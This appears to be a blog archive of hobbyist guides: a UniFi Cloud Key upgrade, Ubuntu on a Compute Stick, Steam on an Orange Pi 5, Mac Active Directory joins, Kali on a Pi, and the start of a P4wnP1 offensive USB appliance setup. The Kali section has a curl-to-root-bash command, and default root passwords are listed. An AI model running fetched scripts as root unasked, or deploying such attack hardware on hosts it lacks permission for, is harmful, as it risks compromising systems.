https://dl.ui.com/unifi/7.2.97/unifi_sysvinit_all.deb dpkg -i unifi_sysvinit_all.deb What this does: Downloads the latest supported UniFi version for Gen1 Installs it manually (bypassing outdated update paths) Step 5: Wait for Installation The upgrade will take several minutes Wait until the terminal becomes responsive again Do not interrupt the process Step 6: Verify the Upgrade Refresh the UniFi web console Confirm the version is now 7.2.97 This is the final supported version for Cloud Key Gen1 devices. Step 7: Reconnect to UniFi Portal Once updated: The device should now be able to connect to the UniFi Portal (for now) Note: Support for Gen1 devices may be discontinued at any time. Final Thoughts This method provides a temporary way to extend the life of a Cloud Key Gen1, but it’s not a long-term solution. I’ve been telling my coworkers (and clients who have not upgraded yet) for years that this is a temporary solution and that Unifi could block access to this old controller at any time. That still has yet to happen though so until then you can use this guide to fix and rejoin these devices to the Unifi portal! Key takeaways: Version 7.2.97 is the last supported release Portal compatibility may disappear in the future Hardware failure (especially HDD models) is common Best practice: Plan for replacement sooner rather than later. Quick Summary Backup config if possible Factory reset if needed SSH into device Run manual update commands Verify upgrade to 7.2.97 Reconnect to UniFi Portal If you’re managing multiple legacy environments, documenting credentials and maintaining backups will save you significant time when dealing with aging hardware like this! How do I factory reset a UniFi Cloud Key Gen1?Hold down the physical reset button on the device until it reboots. If the web console is still accessible, export your configuration backup first to avoid starting from scratch.What are the default SSH credentials after a reset?The default login is root with the password ubnt.What is the final supported firmware version for Cloud Key Gen1?Version 7.2.97 is the last supported release. You must manually install it via terminal using wget https://dl.ui.com/unifi/7.2.97/unifi_sysvinit_all.deb followed by dpkg -i unifi_sysvinit_all.deb. Do not interrupt the process while waiting for the terminal to respond. #### Install Ubuntu Server 20.04 on Intel Compute Stick Guide Intel Compute Stick* My primary purpose for buying the Intel Compute Stick was to have an ultra portable x86_64 server to get around ARM limitations. Therefore the dated Ubuntu 14.04 GUI install had to go. In this guide we will walk through installing Ubuntu Server 20.04 on the Intel Compute Stick! Table of Contents Toggle HardwarePrepare Installation MediaUpdate BIOSConfigure BIOS SettingsInstall Operating SystemFirst BootFixing WarningsRun TrimFinal Steps Hardware For this project I used the Intel Compute Stick.* It costs about the same as a Raspberry Pi (update: no longer costs less than a Raspberry Pi, but still much less than a full computer!) making it an extremely cheap x86_64 single board computer. It has a Intel Atom 1.33GHz 64 bit processor and 1GB of RAM. This one is the cheapest one. There are various more expensive models that have more USB ports and run Windows 10 and have much more memory/power. Intel Compute Stick* Since this model of Compute Stick only has 1 USB port you will need a USB hub if you don’t already have one. It does not need to be powered for this guide. I used a cheap Sabrent USB 3.0 hub: Sabrent Powered USB 3.0 Hub The Sabrent powered USB hub delivers a whopping 2.5A of dedicated power for your USB attached devices. This is almost as much as the Pi adapter itself is rated for (3.0A). It will easily power the most thirsty of setups such as NVMe enclosures. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.uk*, Amazon.es*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se* Note: Make sure Amazon doesn’t try to take you to the non-powered version and that it’s the one with the AC adapter that plugs in to provide extra power And last but not least you will need a USB Ethernet adapter. I used my trusty Belkin USB 2.0 adapter.* Make sure yours is Linux compatible, preferably plug and play without needing extra drivers. Belkin USB 2.0 Ethernet Adapter* Recommended SD card (optional): SanDisk Extreme A1 The SanDisk Extreme A1-A2 SD card has the best scoring SD card on Pi Benchmarks for years and is second in popularity only to the SanDisk Ultra (often included in combo kits). The application class (A1) means random I/O speeds (very important when running an OS) have to meet a higher standard. There’s no benefit on the Pi for A2 right now so get whichever is cheaper/available. Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Prepare Installation Media Download Ubuntu Server from Ubuntu Server Official Download Page and create a bootable USB flash drive with whatever your favorite method is (Etcher, Win32DiskImager, etc). Update BIOS First we need to update the Compute Stick’s BIOS. My Stick came out of the box with a BIOS that was 3 years out of date. Go to https://downloadcenter.intel.com/ and search for your model of Intel Compute Stick (mine is STCK1A8LFC). You’ll see the BIOS update on the search. Go there and download it (it’s a .BIO file) and put it on your USB flash drive. Now plug your flash drive into the Intel and power it on. Repeatedly press F7 during startup. This will take you into a “BIOS Flash Update” screen. Select your flash drive and navigate to where you put the .BIO file. Select this file and confirm that you want to flash. After about 2 minutes the stick will finish updating the BIOS and restart. Configure BIOS Settings Boot the compute stick and repeatedly press F2 during startup until you enter the BIOS menu. Choose the “Configuration” tab at the top. Make sure that USB Boot is set to “Enabled” and power state is set to “Always On”. Make sure the peripherals are enabled such as USB and SD Card (if using). If you have a Windows version of the compute stick you need to change the “Select Operating System” option from Windows to Ubuntu. Press F10 to save BIOS settings. Install Operating System Insert your USB flash drive with Ubuntu Server on it. Restart the stick and press F10 repeatedly until you get into the boot selection screen. Choose your flash drive and the Ubuntu installer will load. Choose your language and and proceed to the Install Ubuntu screen. Make sure that the stick is getting an IP address through your USB ethernet adapter. Proceed with the defaults until you get to the Filesystem setup screen. Choose “Use an Entire Disk” and select either the internal storage (limited space, mine was ~8GB) or your SD card. Confirm settings and press done. Enter your desired username/password in the profile setup screen. Configure snaps if you want any (or just configure the OS once it’s booted how you want it). The operating system will now install to your chosen drive. First Boot Initially you may be seeing some warnings. Ignore these for now as we will fix them after updating. The first thing you want to do is update your Ubuntu. Type: sudo apt-get update && sudo apt-get dist-upgrade -y Reboot your system. This will put you on the latest kernel, linux-firmware, amd64-microcode and other important packages that will fix a bunch of issues right off the bat. Fixing Warnings If you installed to the internal storage you may be seeing warnings such as systemd-gpt-auto-generator : Failed to dissect: Input/output error. To fix this we will edit our kernel boot parameters. The details of why we get this warning have to do with the internal MMC storage and are extraordinarily dull. You can google it if you want more details but to just fix it type: sudo nano /etc/default/grub Scroll down to the line GRUB_CMDLINE_LINUX_DEFAULT=””. This is where we will add systemd.gpt_auto=0 in between the empty quotes to stop the warnings. The correct line after you change it will be: GRUB_CMDLINE_LINUX_DEFAULT="systemd.gpt_auto=0" Press Ctrl+X and then answer yes to save our changes. Then we need to tell grub to update the bootloader. We do this by typing: sudo update-grub Now reboot your system and the gross warnings will be gone! Run Trim Trim is a command that tells your storage to overwrite anything on the drive that is considered “free space”. This is essentially the same as “optimizing” your drives in Windows. We can run the trim command on all devices with: sudu fstrim -av This will give a number of bytes that were trimmed from the storage. You should notice an overall snappier device! Final Steps (Optional) – If you want to get more performance out of the Compute Stick we can change the power mode to “Performance” in the BIOS. You will get a warning that only a single USB device will work in this mode because more power is going to the CPU so we will need to unplug our USB hub. Since this is a headless server this should be fine. I use my Ethernet to USB adapter in my only USB port. You can now switch to using SSH and unplug the device from your monitor/TV. Simply unplug it and point your favorite SSH client at the Compute’s IP. The Compute Stick is now ready to configure for whatever purpose you have in mind! #### Installing Steam on the Orange Pi 5 with Armbian Orange Pi 5 running Steam and Stardew Valley The new RK3588/RK3588S boards have much more power than we’ve typically had available to us in the past on ARM boards. With a whopping 8 CPU cores and a Mali 610 GPU the Orange Pi 5 is capable of running Steam using Box64/Box86. It’s even able to play basic games pretty well (with some tinkering usually). In this guide I’ll show you how to set up Steam on the Orange Pi 5 and run Stardew Valley on it. You should keep your expectations in line though because there is no native ARM client for Steam. We are using emulation and instruction translation. You will also likely be missing libraries for most games you try which will require some fiddling. This guide is only for Armbian running the Ubuntu Jammy variant with the Gnome desktop installed only (platinum support status). The Orange Pi official distributions will not have 3D support and I don’t care about whatever other flavor of Linux you are running either. I’m not going to install your preferred flavor of Linux and try to figure out how to do this on there nor am I interested in troubleshooting it. Please don’t ask. With all of that being said let’s get started! Table of Contents Toggle Hardware UsedInstalling DependenciesInstalling SteamLaunching SteamConclusionOther Resources Hardware Used Orange Pi 5 The Orange Pi 5 the latest release from Orange Pi and is the most powerful model yet. It has a 6 core CPU and options from 4GB of RAM all the way up to 32GB of RAM! Links: Amazon.com*, AliExpress*, Amazon.ca*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl* Kioxia 2230 M2 NVMe Drive The Kioxia (Toshiba) 128GB M.2 2230 PCIe NVMe drive is much shorter than most NVMe drives (full size is 2280). It fits great with single board computers / tablets / other smaller form factors. Links: Amazon.com*, Amazon.ca*, Amazon.co.uk*, Amazon.co.jp*, Amazon.com.au*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Geekworm Copper Heat Sink Set The Geekworm copper heat sink set is designed to fit many different single board computers. It uses thermal conductive adhesive which many “cheap” heat sink kits for SBCs don’t have. Eliminates hot spots and reduces throttling. Can be further enhanced by powered cooling over the heat sinks. Links: Amazon.com*, Amazon.ca*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it* Orange Pi Wireless Mouse The Orange Pi official mouse uses 2.4GHz wireless to give you a wireless mouse experience with the Orange Pi Links: Amazon.com*, AliExpress* Orange Pi Portable Monitor The Orange Pi monitor is meant to be a portable monitor you can take anywhere. It has a resolution of 1080P and features a hinge in the back that folds out to support the monitor. Links: Amazon.com*, AliExpress* Installing Dependencies First we need to install some dependencies that are required by Steam. Use the following lines: sudo dpkg --add-architecture armhf sudo apt update && sudo apt install build-essential git cmake gcc-arm-linux-gnueabihf libc6-dev-armhf-cross libappindicator1 libnm0 libtcmalloc-minimal4 binfmt-support liblttng-ust-dev libcairo2:armhf libgmp10:armhf libvulkan1:armhf libudev-dev:armhf -y Next we’re going to install Box64. Paste the following lines in your terminal: git clone https://github.com/ptitSeb/box64 cd box64 mkdir build; cd build; cmake .. -DRK3588=1 -DCMAKE_BUILD_TYPE=RelWithDebInfo make -j4 sudo make install We also need Box86: cd ~ git clone https://github.com/ptitSeb/box86 cd box86 mkdir build; cd build; cmake .. -DRK3588=1 -DCMAKE_BUILD_TYPE=RelWithDebInfo make -j4 sudo make install We also need to install the 3D support drivers with the following: sudo add-apt-repository ppa:liujianfeng1994/panfork-mesa sudo add-apt-repository ppa:liujianfeng1994/rockchip-multimedia sudo apt update sudo apt dist-upgrade -y sudo apt install mali-g610-firmware rockchip-multimedia-config -y That’s it for the dependencies! Before you continue you should reboot the device with: sudo reboot Installing Steam First we need to configure the environment for Steam. Use the following lines to add two environment variables to your Linux environment: echo 'export STEAMOS=1 export STEAM_RUNTIME=1 export DOTNET_SYSTEM_GLOBALIZATION_INVARIANT=1 export PAN_MESA_DEBUG=gofaster,gl3' | sudo tee /etc/profile.d/steam.sh source /etc/profile.d/steam.sh Next we’re going to use Box86’s install_steam.sh script like this: cd ~/box86 ./install_steam.sh Installation is now finished! Launching Steam I highly recommend running Steam from a terminal/console like this so you can see the error messages (especially when launching new games): Armbian running Steam from CLI It’s not unexpected for it to crash right after you log in for the first time. Mine crashed after I entered my one-time e-mail code from Steam. Simply launch it again. I had to log in again but it remembered the PC and stuck the second time. It also crashed once when I installed Stardew Valley. I then just launched Steam again and it downloaded the game and launched perfectly afterward: Orange Pi 5 running Steam and Stardew Valley Conclusion This is only the beginning of your journey. I can get you this far. You should expect most games you try to launch to crash with missing libraries. You then typically will install those libraries through apt (or other means) to fix it. In fact Stardew Valley wouldn’t have worked if I hadn’t added several dependencies to the dependency section. It did crash at first when I tried this and it took several hours for me to figure out the right dependencies to install for it. If you are encountering really strange errors launching other titles you will want to use the trick I shared earlier of launching Steam within your console. You can then report such issues to the developers here on the GitHub issues page for Box64. There is a *ton* of helpful information there (and people) that can help with getting stubborn titles to launch. The developer ptitSeb is an absolute legend as well. My performance was very, very good on Stardew Valley. It takes a while to load the game for some reason but it runs perfectly smoothly on the Orange Pi 5. Obviously this is not an incredibly demanding game on your GPU and I would recommend sticking to those. I would absolutely also recommend active cooling on your Orange Pi 5. You at a bare minimum need my recommended heat sinks but even with my heat sinks I managed to overheat my Orange Pi 5 (forcing a power cycle) several times writing this article. If I was going to be gaming a lot more regularly on this device I would put a powered fan on it. The few times my system locked up I touched my heat sink and they were *very hot*. If you are getting lock-ups touch your heat sink (carefully) and see if it’s absolutely burning up. That means you need a powered fan. Overall I’m pretty impressed. You’re going to have technical problems with various titles but this absolutely works. You can run games that aren’t super demanding at full speed and enjoy them on a 64-bit ARM board / distribution. Great work to all of the projects involved that have led to this being a reality! Other Resources Make sure to check out my Orange Pi 5 review here I’ve also covered setting up a SSD on the Orange Pi 5 here The Orange Pi 5 also makes a great host environment for Home Assistant which I’ve covered here #### Introducing sbc.cheap – Fast Way to Find Affordable Single Board Computers Announcing sbc.cheap – New Price Filtering Tool If you’ve ever tried shopping for a single board computer (SBC) on Amazon, you already know the problem: the search is powerful, but it’s not built for this niche. You type in what you want, apply a few filters, and still end up scrolling through pages of accessories, unrelated electronics, duplicate listings, and overpriced bundles. Finding the actual cheapest SBCs quickly? Surprisingly difficult. That’s exactly why I built sbc.cheap. Table of Contents Toggle What sbc.cheap DoesFilter OptionsNot Perfect (But Pretty Close)The Reality of the Amazon APIWhat’s NextFeedback Welcome What sbc.cheap Does sbc.cheap is a simple tool with a simple goal: Show you the cheapest single board computers available without the noise. Behind the scenes, it: Scrapes Amazon automatically every 30 minutes Filters out irrelevant listings Surfaces only actual SBCs Sorts everything by price so you can instantly see the cheapest options The final result is just a clean list of boards from lowest to highest price. Filter Options sbc.cheap Filtering Options sbc.cheap isn’t just about showing the lowest prices. It also helps you narrow down exactly what you’re looking for. You can currently filter results by: CPU Architecture – Quickly switch between ARM-based boards and other architectures depending on your project needs RAM Size – Set minimum and maximum RAM to find boards that meet your performance requirements These filters make it much easier to cut through the list and zero in on boards that actually fit your use case, instead of manually scanning through dozens (or hundreds) of entries. More filtering options may be added in the future based on feedback, so if there’s something you’d like to see here, definitely speak up! Not Perfect (But Pretty Close) Amazon listings are… messy. Manufacturers and sellers don’t always label products clearly, which means: Some accessories may occasionally slip through Some legitimate boards might get missed Some boards may be difficult / impossible to detect RAM or CPU on depending on how they worded the listing I’ve done a lot of work to filter things properly, but there’s only so much automation can do when the source data is inconsistent. If you notice issues (too many accessories, missing boards, or anything else) please let me know: Leave a comment on this post Or email me directly at 05jchambers@gmail.com Your feedback will help improve the filters over time! The Reality of the Amazon API Amazon Creators API This project uses the Amazon Creators API and it’s far more limited than you might expect. A few constraints I had to work around: Searches return only 10 items at a time Each search caps at 100 total results Review scores aren’t even accessible via the API You must maintain 10 qualified sales per month just to keep access In short: building this was much harder than it should have been. That said, the end result turned out very close to what I originally envisioned (just with a little less metadata like reviews, etc.). What’s Next Now that the system is built, I’m planning to expand it. Next up: A version of sbc.cheap for Mini PCs The same filtering approach should work well there too. It will cut through the clutter and showing true price comparisons on actual systems instead of drowning in accessories and irrelevant listings. I’m also considering: International support (starting with the UK, France, and other regions where I have affiliate access) Feedback Welcome This tool is just getting started, and there’s plenty of room to improve. If you have ideas for features, filtering improvements, or anything else you’d like to see added, I’m all ears. I’m especially interested in: Better sorting/filtering options Additional product categories Region-specific support Thanks for checking out sbc.cheap. If you’ve ever been frustrated trying to find a good deal on an SBC, this should make things a whole lot easier. #### Join Mac OS X Mojave to Active Directory Using Built In Tools Mac AD Join Successful Joining a Mac to Active Directory has continued to get more and more difficult over the years. High Sierra and Mojave now require a Active Directory functional level of Windows Server 2008 or later and are still pretty tricky to get to join it. When I started researching the topic I saw a whole lot of advice to install third party software to join a Mac to Active Directory. In most corporate environments installing third party software is frowned upon due to licensing and security considerations so I was determined to get the native Mac OS X tools to work. This guide will walk you through the basic steps to join Active Directory without having to resort to using third party software. Table of Contents Toggle Configure DNS SettingsConfigure Network “Sharing” NamePrestaging AD Computer AccountJoin Active DirectoryTroubleshootingPlugin Error 10001Plugin Error 5103My domain ends with .localConclusion Configure DNS Settings One of the big roadblocks to joining Active Directory is DNS settings. In many networks DHCP won’t populate everything you need. Windows can get away with this but when we are joining our Mac we need to make sure everything is populated. The easiest way to get everything you need is to issue a ipconfig /all from the command prompt of a Windows machine already joined: C:\Users\JChambers>ipconfig /allWindows IP Configuration Host Name . . . . . . . . . . . . : TESTMACHINE Primary Dns Suffix . . . . . . . : example.test.domain.com Node Type . . . . . . . . . . . . : Hybrid IP Routing Enabled. . . . . . . . : No WINS Proxy Enabled. . . . . . . . : No DNS Suffix Search List. . . . . . : example.test.domain.com test.domain.org test3.test.comEthernet adapter Ethernet: Connection-specific DNS Suffix . : example.test.domain.com Description . . . . . . . . . . . : Intel(R) Ethernet Connection I217 Physical Address. . . . . . . . . : FF-FC-FF-3C-C1-F4 DHCP Enabled. . . . . . . . . . . : Yes Autoconfiguration Enabled . . . . : Yes IPv4 Address. . . . . . . . . . . : 211.211.77.112(Preferred) Subnet Mask . . . . . . . . . . . : 255.255.254.0 Lease Obtained. . . . . . . . . . : Thursday, May 2, 2019 11:38:56 AM Lease Expires . . . . . . . . . . : Thursday, May 2, 2019 7:40:38 PM Default Gateway . . . . . . . . . : 211.211.76.1 DHCP Server . . . . . . . . . . . : 211.211.76.19 DNS Servers . . . . . . . . . . . : 172.1.2.233 172.1.2.231 172.1.26.7 NetBIOS over Tcpip. . . . . . . . : Enabled I have bolded the important things you need to verify. You want to make sure that all of the DNS Suffix Search List entries are listed in the “Search Domains” box pictured below: Mac DNS Settings Next verify that all of the DNS servers coming up on your Windows machine are also put into the Mac DNS servers list. On my machine I got all of the DNS servers but only one of the search domains. Make sure it matches your already joined machine! Configure Network “Sharing” Name Go to the Settings app on your Mac again and choose “Sharing”. Mac Sharing Computer Name Settings This part is easy. Set this to the computer name you are going to join the domain with. Usually the existing one will be something like “admin’s iMac”. Mac AD Join Successful Prestaging AD Computer Account Next open up Active Directory and create a new “Computer” account. Active Directory New Computer (Menu) I strongly recommend keeping your Mac name to 15 characters or less. This is demonstrated in the screenshot below. If that isn’t possible then use the pre-Windows 2000 computer name when you join Active Directory or you will get an error (see Troubleshooting). Active Directory New Computer (Dialog Box) Press OK to create the Active Directory account. Now switch back to the Mac and let’s perform the bind. Join Active Directory Next go back to the Settings app and choose “Users and Groups”. Mac Users and Groups Settings From here we are going to select “Login Options” in the bottom left hand of the screen. You will now see a “Network Account Server” with a Join button. Click join and fill everything out as follows: Mac Active Directory Enrollment Use your fully qualified domain name (FQDN). This is usually the same as your “Primary DNS Suffix” we got from our Windows machine. This allows us to get around any DNS configuration shenanigans. For the Active Directory settings put in the pre-Windows 2000 computer name from the above step. If you chose a name of 15 characters or less they will both be the same. For your AD username don’t try to use anything like DOMAIN\user or user@domain. We have already fully qualified our server in the server field so this is not necessary and will cause problems. Enter it as in the example above. Now press OK and with any luck you will be met with a screen that looks like this: Mac AD Join Successful Troubleshooting Plugin Error 10001 Mac AD Plugin Error 10001 This is the most common error you will get when you try to join High Sierra or Mojave to Active Directory. There are a few reasons it can come up. Apple states that your Active Directory needs to be at a functional level of Windows Server 2008 to work unless you enable “weak encryption” RC4 algorithm support in your forest. This would be a terrible idea as RC4 was broken many years ago and is a joke to crack. However even with a functional level of 2008 I have yet to see it work regardless without prestaging the computer in Active Directory first and then attempting to join. Prestaging has fixed this error on all of the Macs I have joined to domains. There are a few other requirements from Apple on the list that could be contributing but likely with prestaging you will be able to bind even without things like extended schema support, etc. Plugin Error 5103 Mac AD Plugin Error 5103 This error is frequently encountered if the name of your PC is too long. You should join the domain with the “pre-Windows 2000” computer name or even better choose a name for the Mac that is 15 characters or less. My domain ends with .local This is bad. Very bad. This has been a long standing issue with joining Macs to Active Directory as .local is what Apple’s own Bonjour uses by default. It used to be a matter of simply changing or disabling Bonjour but that has no longer proven effective. Using .local has been against best practices for many years but not everyone has migrated their domains yet. If you are stuck in this situation and telling your sysadmins to get a grip and migrate their domain is not an option then you may have to consider a third party AD stack. Here’s a lengthy spiceworks discussion on this topic. If you have been able to find a workaround for this issue in Mojave or High Sierra definitely drop a comment below so we can share it but I was not able to find an instance of anyone getting around this in the newer versions of OS X without going third party. Conclusion As long as you aren’t in a .local domain the native built-in tools should prove perfectly sufficient to join Mac OS X High Sierra and Mojave provided we use prestaging. That being said I can only speak for the environments I have worked in. If you follow this guide and encounter additional problems definitely leave a comment below so we can get that information out there! You should also check out Apple’s Active Directory integration guide as they cover some requirements that you may have ran into that I didn’t. #### Kali Linux 2017.1 + Raspberry Pi 3 + RPI 7″ Touchscreen = Plug and Play! The Kali Linux penetration testing distribution has been available for Raspberry Pi for quite some time. However, it can be quite a chore to set it up, especially with a touchscreen. Recently I purchased the official Raspberry Pi 7″ touchscreen and was astonished when I put the SD card in and Kali booted up right to the desktop ready for me to log in with the touchscreen not only displaying but actually fully functional with touch enabled! Read on to see the setup and some basic instructions to do it yourself! Table of Contents Toggle The EquipmentAssemblyImaging your SD cardStarting Kali LinuxInitial StepsUpgrade to Kali-Linux-Full (Optional)Benchmarking / Testing StorageOther Resources*Update 8/28/2021 The Equipment Setup for Raspberry Pi 7″ Touchscreen with case Raspberry Pi 4 The Raspberry Pi 4 is available in different memory configurations all the way up to 8 GB. It’s about the size of a credit card and uses an extremely low amount of power making it ideal for all sorts of projects and ideas! Links: Amazon.com*, AliExpress*, Amazon.ca*, Amazon.com.au*, Amazon*.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Raspberry Pi Official 7″ TFT The official 7″ TFT touchscreen for the Raspberry Pi by the official Raspberry Pi Foundation! Links: Amazon.com*, AliExpress*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* SmartPi2 Case for Raspberry Pi The Raspberry Pi 4 is available in different memory configurations all the way up to 8 GB. It’s about the size of a credit card and uses an extremely low amount of power making it ideal for all sorts of projects and ideas! Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* CanaKit 3.5A Power Adapter The CanaKit 3.5A adapter has an extra half an amp (500 mA) of capacity to give some breathing room to your accessories. This is bigger than the official Pi power supply which provides 3.0A. Links: Amazon.ca*, Amazon.com*, Amazon.com.au*, Amazon.sg* SanDisk Extreme A1 The SanDisk Extreme A1-A2 SD card has the best scoring SD card on Pi Benchmarks for years and is second in popularity only to the SanDisk Ultra (often included in combo kits). The application class (A1) means random I/O speeds (very important when running an OS) have to meet a higher standard. There’s no benefit on the Pi for A2 right now so get whichever is cheaper/available. Links: Amazon.com*, AliExpress*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Assembly The assembly is very easy. First you put your official 7″ touchscreen in the case with the provided screws. Now put your Pi in the slot in the back of the case that is perfectly formed to hold the board. Then you simply connect one ribbon cable from the touchscreen to the Pi.  Finally insert your MicroSD and connect the power supply. That is it! Imaging your SD card Head to the official Kali Linux ARM Images Page and scroll down to the Raspberry Pi. You will download the image for the Raspberry Pi 2/3 (the first one). You will *not* choose the one that says Raspberry Pi w/ TFT. That is for other older TFTs and Gen1 boards like the original Model B. Now write the image to your SD card. If you are doing this from Windows then I suggest to use Win32DiskImager . If you are not on Windows then I am going to assume you already know how to write an image to your SD card. Wait for the process to finish then safely eject the card after the write is complete. Starting Kali Linux Simply put the SD card in your Raspberry Pi. Assuming you have already assembled everything go ahead and power it up. It should take you straight to the Kali login. The default login information is username root and the password is toor. This should take you straight to the desktop and you should immediately be able to use the touchscreen. Go ahead and hit the Applications menu or open the web browser and test out to make sure everything is working. Initial Steps This is pretty much a no brainer but you should immediately change the default password. SSH is enabled by default so you are extremely vulnerable to anyone just SSH’ing in and taking control if you don’t do it. Open a command prompt and type passwd and change it. The second step is to regenerate your SSH keys. All these images ship with the same default SSH keys which makes your SSH traffic vulnerable to sniffing quite easily. This is easily done by typing: dpkg-reconfigure openssh-server The third step is to expand the image to use all of your SD cards space just like you would with Raspbian. Unfortunately we do not have the raspi-config tool to do it for us on Kali. Thankfully we can just use GParted which is very easy. Type in a console window: apt-get install gparted Now run gparted from the applications menu or just right in the console again. The window will open. Resize your ext4 partition to use the rest of the unused space (just slide the end of the partition all the way into the rest of the unused space) and then apply your changes. Now you should be utilizing the full space and will have plenty of space to upgrade to full Kali Linux! And the fourth step is to update your distribution. From console window: apt-get update apt-get upgrade Upgrade to Kali-Linux-Full (Optional) The Raspberry Pi distribution is pretty minimal by default. This makes sense for a small ARM board but chances are you have at least a 16-32GB SD card and if you have resized your partition you have plenty of room to unleash the full power of Kali. The upgrade is simple. Type apt-get install kali-linux-full This will take a while and there are a few packages you’ll have to answer some basic questions for. However, once completed, you will have the full version of most powerful security and penetration testing distribution in the world with a touchscreen and a highly mobile platform for testing! Final Build Raspberry Pi 7″ Kali Build with backplate on — notice that GPIO pins are still accessible! Raspberry Pi 7″ Kali Build with backplate off Kali actually running and connected to local WiFi using built in wifi Benchmarking / Testing Storage If you want to verify your drive’s performance you may want to run my storage benchmark with: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash If you search for the model of your drive on Pi Benchmarks you can compare your score with others and make sure the drive is performing correctly! Other Resources You may also want to check out my newer Kali Linux Raspberry Pi guide If you have a Raspberry Pi Zero you may want to check out my Kali P4wnP1 Linux guide here *Update 8/28/2021 It has been brought to my attention that the screen no longer seems to be plug and play in Kali. This is most likely due to many distros dropping support for resolutions lower than 800×600. To do a “manual override” and add the correct screen dimensions add this to your /boot/config.txt file: max_usb_current=1hdmi_force_hotplug=1config_hdmi_boost=7hdmi_group=2hdmi_mode=87hdmi_drive=1hdmi_cvt 800 480 60 6 0 0 0 The last line there will tell it to use the resolution 800 x 480 which will match the screen’s dimensions precisely. #### Kali Linux P4wnP1 ALOA Guide – Setup / Usage / Examples P4wnP1 Kali Linux P4wnP1 A.L.O.A. is a tool for the Raspberry Pi Zero W that allows you to plug a Pi into a host computer and send remote commands and share networking with a host computer all without any user interaction. A.L.O.A. stands for “A Little Offensive Appliance”. The device is connected as a HID keyboard/mouse as well as a network interface to accomplish this. The device is automatically configured and does not require any special driver installation. It supports Windows / Linux / OS X. There’s practically no defense to this type of attack other than physically securing your USB ports. The ALOA version is a successor to the original P4wnP1 which is still a very popular tool to use with a Raspberry Pi Zero W. The old version was very simple and could only deliver a payload and was basically a Pi version of the old “Rubber Ducky”. This is the alpha 1.0 release so there’s still some work to do to make things smoother and easier but this version is functional enough to start playing with. ALOA aims to do much more than its predecessors by having trigger actions and multiple scripts ran based on those triggers. This allows you to adapt to changing environments and execute much more sophisticated actions. On top of this, it is also a full Kali Linux distribution giving you all the power of Kali. This guide will help you get it installed and start experimenting with it. Let’s jump right into it! Table of Contents Toggle HardwareKali Image Getting the ImageGetting StartedNetwork ConfigurationUSB SettingsHIDScriptTrigger ActionsAccessing KaliTemplatesBenchmarking / Testing Storage (Optional)ConclusionOther ResourcesWhat is the P4wnP1 Aloa and how does it work with Kali Linux?Can I use P4wnP1 Aloa for ethical hacking training?How do I update P4wnP1 firmware and Kali tools? Hardware Raspberry Pi Zero W The Raspberry Pi Zero W is the wireless-capable version of the Pi Zero. It has a much smaller form factor than a full size Pi making it ideal for use in projects that benefit from a very small form factor while having a fully capable Linux PC. Links: Amazon.com*, AliExpress.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Pi Zero W USB-A Addon* SanDisk Extreme A1 The SanDisk Extreme A1-A2 SD card has the best scoring SD card on Pi Benchmarks for years and is second in popularity only to the SanDisk Ultra (often included in combo kits). The application class (A1) means random I/O speeds (very important when running an OS) have to meet a higher standard. There’s no benefit on the Pi for A2 right now so get whichever is cheaper/available. Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Kali Image Getting the Image UPDATE 3/18/2021: The Kali specific P4wnP1 image is no longer available and doesn’t appear to be distributed anymore but an updated version is available. Details below. The good news is after a couple of years of very little activity on the project’s GitHub page the original developer mame82 released an updated version of the image Grab the latest image for Raspberry Pi at the project’s GitHub releases page (the developer is now using the handle “RoganDawes” so if you see this don’t worry you are still in the right place): Official P4wnP1 Releases GitHub Page Download the img.xz file for the latest release (v0.1.1-beta at time of writing released 2/6/2020). Write the image to your MicroSD card using your preferred method! The best way is to write a custom image using the official Raspberry Pi Imager utility but Etcher or even writing the image with dd will work. Getting Started There are several ways to connect to the Pi. My preferred way is to plug it into my computer and use the web interface / SSH to connect to it. I can then have the Pi connect to my home wireless and have an internet connection on Kali. Plug the Pi into your computer. If you are on Windows you will see a interesting notification that Windows is installing and configuring drivers for a “P4wnP1 by MaMe82”. We can change this later to whatever we want but it’s a good sign for now that everything is working the way it should be. Once initial configuration has finished we can now connect. Open a new tab in your browser and connect to: http://172.16.0.1:8000 This is the P4wnP1 ALOA web configuration interface. From here we can easily start configuring the device and begin to play around. Network Configuration Let’s start by configuring your wireless interface so the Pi gets an internet connection. Go to the “WiFi Settings” tab. This is what you will see: P4wnPi Web Configuration Interface In the bottom left of your screen click the “Working Mode” dropdown and change it to “Client with Failover to AP” like I have in the screenshot. The WiFi client settings will appear in the middle of the page and you can enter your home network information. Now hit the “Deploy” button in the top left and the Pi will apply your settings. Failover 